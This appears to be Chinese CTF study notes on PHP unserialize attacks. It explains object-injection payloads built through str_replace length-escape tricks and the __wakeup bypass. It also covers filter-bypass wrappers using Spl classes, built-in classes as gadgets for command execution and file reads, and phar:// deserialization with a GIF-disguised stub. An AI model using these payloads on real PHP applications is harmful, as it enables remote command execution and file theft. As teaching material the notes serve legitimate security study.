Php Unserialize
序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| class S{ public $test="pikachu"; } $s=new S(); echo serialize($s);
序列化后得到的结果是这个样子的: O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object 1:代表对象名字长度为一个字符 S:对象的名称 1:代表对象里面有一个变量 s:数据类型 4:变量名称的长度 test:变量名称 s:数据类型 7:变量值的长度 pikachu:变量值
|
private 和 protected 详解
PHP序列化的时候 private 和 protected 变量会引入不可见字符%00,
%00类名%00属性名 为private,%00*%00属性名 为protected,注意这两个 %00就是 ascii 码为0 的字符。
这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得清楚.我们可以将序列化的字符用urlencode编码之后,打印出来查看。
魔术方法
| 方法 |
触发条件 |
参数 |
返回值 |
|
| __construct |
实例化对象 |
|
|
|
| __destruct |
反序列化之后 销毁之后 |
|
|
|
| __sleep |
序列化之前 |
|
需要被序列化的成员属性 |
|
| __wakeup |
反序列化之前 |
|
|
|
| __toString |
把对象当成字符串使用 |
|
|
|
| __invoke |
把对象当成函数调用 |
|
|
|
| __clone |
当使用clone关键字拷贝完一个对象 |
|
|
|
| __call |
调用不存在的方法或者私有的属性 |
$arg1,$arg2 |
不存在的方法名称&参数 |
|
| __callStatic |
静态调用不存在的方法 |
$arg1,$arg2 |
不存在的方法名称&参数 |
|
| __get |
调用成员属性不存在 |
$arg1 |
不存在的成员属性名称 |
|
| __set |
给不存在的成员属性赋值 |
$arg1,$arg2 |
不存在的成员名称&值 |
|
| __isset |
对不可访问属性使用isset()或empty |
$arg1 |
不存在的成员属性名称 |
|
| __unset |
对不可访问属性使用unset() |
$arg1 |
不存在的成员属性名称 |
|
__wakeup()函数漏洞绕过原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就不会执行
反序列化逃逸
str_replace — 子字符串替换
str_replace(
array|string $search,
array|string $replace,
string|array $subject,
int &$count = null
): string|array
search
查找的目标值,也就是 needle,一个数组可以指定多个目标。
replace
search 的替换值,一个数组可以被用来指定多重替换
subject
执行替换的数组或者字符串。也就是 haystack
如果 subject 是一个数组,替换操作将遍历整个 subject,返回值也将是一个数组。
count
如果被指定,它的值将被设置为替换发生的次数
返回值
该函数返回替换后的数组或者字符串。
增多逃逸
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php class C { public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"shell2";}'; public $pass='123456'; }
function filter($str){ return str_replace('bb', 'ccc', $str); }
$A=new C(); echo serialize($A)."\n";
$res=filter(serialize($A)); echo serialize($res)."\n";
$c=unserialize($res); echo $c->pass;
输出 O:1:"C":2:{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"shell2";}";s:4:"pass";s:6:"123456";}
s:163:"O:1:"C":2:{s:4:"name";s:81:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"shell2";}";s:4:"pass";s:6:"123456";}";
shell2
|
str_replace函数将 $str中的 ‘bb’ 替换成 ‘ccc’,比原来多了一个字符
O:1:”C”:2:{s:4:”name”;s:4:”在name的属性里写我们想要输入的“;s:4:”pass”;s:6:”123456”;}后面的pass需要注释掉
写在 $name 里的字符串长度 == 替换后的字符串长度
str_replace前
O:1:”C”:2:{s:4:”name”;s:81:”bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"shell2";}“;s:4:”pass”;s:6:”123456”;}
- 有色字体是 $name值 一共
81字符
- 要用
"闭合替换后的字符串
s:81表示长度为81,字符串中间有"也会被当成字符串中的一个字符
- 最后也要闭合整个序列化值 注释原本的 $pass
str_replace后
s:163:”O:1:”C”:2:{s:4:”name”;s:81:”ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc“;s:4:”pass”;s:6:”shell2”;}”;s:4:”pass”;s:6:”123456”;}”;
s:163是作为字符串 $res的长度
- 有色字体是经过 str_replace 替换的数据 一共
81字符
- 后面的
";s:4:"pass";s:6:"shell2";}便会逃逸,和前面凑成了一个完整的序列化值
}后的";s:4:"pass";s:6:"123456";}";就被注释了
通过unserialize $pass 的值就被修改为 “shell2”
减少逃逸
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php class C { public $name='cccccccccccccccccccccccccccccccccccccccccccccccccccccc'; public $pass=';s:4:"qwer";s:5:"shell'; }
function filter($str){ return str_replace('ccc', 'bb', $str); }
$A=new C(); echo serialize($A)."\n";
$res=filter(serialize($A)); echo serialize($res)."\n";
$c=unserialize($res); echo $c->qwer;
输出 O:1:"C":2:{s:4:"name";s:54:"cccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:22:";s:4:"qwer";s:5:"shell";}
s:108:"O:1:"C":2:{s:4:"name";s:54:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:22:";s:4:"qwer";s:5:"shell";}";
shell
|
str_replace函数将 $str中的 ‘ccc’ 替换成 ‘bb’,比原来少了一个字符
写在 $name 里的字符串的长度 == 替换后的$name字符串 + $pass中不需要字符串 的长度
str_replace前
O:1:”C”:2:{s:4:”name”;s:54:”cccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:22:";s:4:"qwer";s:5:"shell“;}
- 有色字体是 $pass值
- $pass值中
";s:4:"pass";s:22:“;s:4:”qwer”;s:5:”shell,此行有色字体是需要通过str_replace包含进 $name,后面的";进行闭合
- $pass值最后加上
";}也可以 -> $pass=’;s:4:”qwer”;s:5:”shell”;},视实际情况而定
str_replace后
s:108:”O:1:”C”:2:{s:4:”name”;s:54:”bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:22:“;s:4:”qwer”;s:5:”shell”;}”;
- s:108 是作为字符串 $res的长度
- 有色字体是包含 str_replace后 $name的值
- 后面的
s:4:"qwer";s:5:"shell";就形成了新的成员和属性
通过unserialize 就会新增成员 $qwer 值为 “shell”
Bypass
过滤 Object、Array…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php class c{ public $code = 'whoami'; function __wakeup() { system($this->code); } }
$array = [new c()]; echo serialize($array); echo '<br>';
$obj = new ArrayObject(); $obj->append(new c()); echo serialize($obj); echo '<br>';
$obj = new SplObjectStorage(); $obj->attach(new c()); echo serialize($obj); echo '<br>';
$obj = new SplStack(); $obj->push(new c()); echo serialize($obj); echo '<br>';
$obj = new SplQueue(); $obj->enqueue(new c()); echo serialize($obj); echo '<br>';
$obj = new SplDoublyLinkedList(); $obj->push(new c()); echo serialize($obj);
|
GC
原生类
反射
ReflectionClass
1 2
| echo new ReflectionClass('类'); echo new ReflectionClass('system("whoami")');
|
异常处理
Exception\Error
1 2
| echo new Exception('system("whoami")'); echo new Error('system("whoami")');
|
遍历目录
FilesystemIterator\DirectoryIterator\GlobIterator
1 2 3 4 5 6 7 8 9
| FilesystemIterator 和 DirectoryIterator 用法 FilesystemIterator(getcwd()); DirectoryIterator("glob:///*");
GlobIterator("f*");
<?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'');}exit(0);?>
|
读取文件
SplFileObject
1
| SplFileObject("flag.php");
|
Phar://
Php通过 __HALT_COMPILER 来识别Phar文件
生成
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new TestObject(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test");
$phar->stopBuffering();
|
Bypass
1 2 3 4 5 6 7 8
| compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar
$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //生成一个phar.phar,修改后缀名为phar.gif
|
zip
1 2 3 4 5 6 7
| $phar_file = serialize($exp); echo $phar_file; $zip = new ZipArchive(); $res = $zip->open('1.zip',ZipArchive::CREATE); $zip->addFromString('crispr.txt', 'file content goes here'); $zip->setArchiveComment($phar_file); $zip->close();
|